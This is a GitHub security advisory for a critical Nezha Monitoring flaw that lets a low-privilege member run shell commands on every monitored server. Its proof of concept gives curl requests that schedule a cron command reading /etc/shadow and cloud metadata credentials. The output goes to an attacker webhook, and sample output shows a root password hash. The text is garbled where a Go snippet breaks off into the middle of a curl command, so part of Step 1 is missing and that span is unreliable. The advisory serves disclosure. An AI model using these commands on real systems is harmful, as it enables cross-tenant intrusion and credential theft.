GitHub Advisoryadvisory · Go
GHSA-99gv-2m7h-3hh9 Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron
CRITICAL
Official page ↗
- Aliases
- CVE-2026-46716
- Ecosystem
- Go
- Packages
- github.com/nezhahq/nezha
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-269, CWE-78, CWE-862
- Reviewed
- 2026-05-23
Affected packages
• Go github.com/nezhahq/nezha: >= 1.4.0, < 1.14.15-0.20260517022419-d7526351cf97 → fixed in 1.14.15-0.20260517022419-d7526351cf97
Description
Summary
`nezha`'s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass.
A `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to every server in the global `ServerShared` map — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook.
Net effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.
Affected versions
Commit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.
The auth gate
```go
// cmd/dashboard/controller/controller.go:131-135
auth.GET("/cron", listHandler(listCron))
auth.POST("/cron", commonHandler(createCron)) // ","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \
http://nezha.example.com/api/v1/notification | jq -r .data)
GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"g\",\"notifications\":[$NID]}" \
http://nezha.example.com/api/v1/notification-group | jq -r .data)
```
Step 2: Create the cross-tenant cron.
```bash
curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \
http://nezha.example.com/api/v1/cron
```
Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From `c1c1cd1.../webhook.site/`:
```
[Scheduled Task Executed Successfully] x, admin-prod-db-01
uid=0(root) gid=0(root) groups=0(root)
admin-prod-db-01.internal
root:$6$KfTdXrLP$...
ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token
```
(Output is shown for each of the N agents in …
Related
Alias · CVE (1)
- CVE-2026-46716 Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. vulnerability